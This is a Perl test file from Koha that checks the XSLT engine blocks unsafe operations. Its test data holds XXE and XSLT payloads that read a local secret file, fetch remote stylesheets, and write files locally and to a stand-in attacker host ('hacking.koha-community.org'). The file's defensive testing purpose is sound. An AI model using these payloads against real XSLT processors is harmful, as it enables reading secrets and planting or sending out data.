Bug 24756: Catch two failed to load-variations in Security.t
[koha.git] / t / db_dependent / Koha / XSLT / Security.t
1 #!/usr/bin/perl
2
3 # Copyright 2019 Rijksmuseum
4 #
5 # This file is part of Koha.
6 #
7 # Koha is free software; you can redistribute it and/or modify it
8 # under the terms of the GNU General Public License as published by
9 # the Free Software Foundation; either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # Koha is distributed in the hope that it will be useful, but
13 # WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with Koha; if not, see <http://www.gnu.org/licenses>.
19
20 use Modern::Perl;
21 use File::Temp qw/tempfile/;
22 use Test::More tests => 8;
23 use Test::Warn;
24
25 use Koha::XSLT::Base;
26 use t::lib::Mocks;
27
28 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
29 my $engine=Koha::XSLT::Base->new;
30
31 my $secret_file = mytempfile('Big secret');
32 my $xslt=<<"EOT";
33 <!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
34 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
35   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
36   <xsl:variable name="secret">&secret;</xsl:variable>
37   <xsl:template match="/">
38       <secret><xsl:value-of select="\$secret"/></secret>
39   </xsl:template>
40 </xsl:stylesheet>
41 EOT
42 my $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
43 like($output, qr/Big secret/, 'external entity got through');
44
45 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
46 $engine=Koha::XSLT::Base->new;
47 $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
48 unlike($output, qr/Big secret/, 'external entity did not get through');
49
50 # Adding a document call to trigger callback for read_file
51 # Does not depend on expand_entities.
52 $xslt=<<"EOT";
53 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
54   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
55   <xsl:template match="/">
56       <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
57   </xsl:template>
58 </xsl:stylesheet>
59 EOT
60 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
61     [ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
62     'Triggered security callback for read_file';
63
64 # Trigger write_file
65 $xslt=<<"EOT";
66 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
67   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
68   <xsl:template match="/">
69       <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
70   </xsl:template>
71 </xsl:stylesheet>
72 EOT
73 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
74     [ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
75     'Triggered security callback for write_file';
76
77 # Trigger read_net
78 $xslt=<<"EOT";
79 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
80   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
81   <xsl:template match="/">
82       <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
83   </xsl:template>
84 </xsl:stylesheet>
85 EOT
86 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
87     [ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
88     'Triggered security callback for read_net';
89
90 # Trigger write_net
91 $xslt=<<"EOT";
92 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
93   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
94   <xsl:template match="/">
95       <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
96     <xsl:text>Breached!</xsl:text>
97 </exsl:document>
98   </xsl:template>
99 </xsl:stylesheet>
100 EOT
101 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
102     [ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
103     'Triggered security callback for write_net';
104
105 # Check remote import (include should be similar)
106 # Trusting koha-community.org DNS here ;)
107 # This should not trigger read_net but fail on the missing import.
108 $xslt=<<"EOT";
109 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
110   <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
111   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
112   <xsl:template match="/"/>
113 </xsl:stylesheet>
114 EOT
115 $engine->print_warns(1);
116 {
117     my @warn;
118     local $SIG{__WARN__} = sub { push @warn, $_[0]; };
119     $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
120     is( ( grep { /failed to load (external entity|HTTP resource)/ } @warn ), 1, 'Expected import error' ); # we saw both messages on Jenkins passing by
121     is( ( grep { /read_net/ } @warn ), 0, 'No read_net warn for remote import' );
122 }
123
124 sub mytempfile {
125     my ($fh, $fn) = tempfile( UNLINK => 1 );
126     print $fh $_[0] if $_[0];
127     close $fh;
128     return $fn;
129 }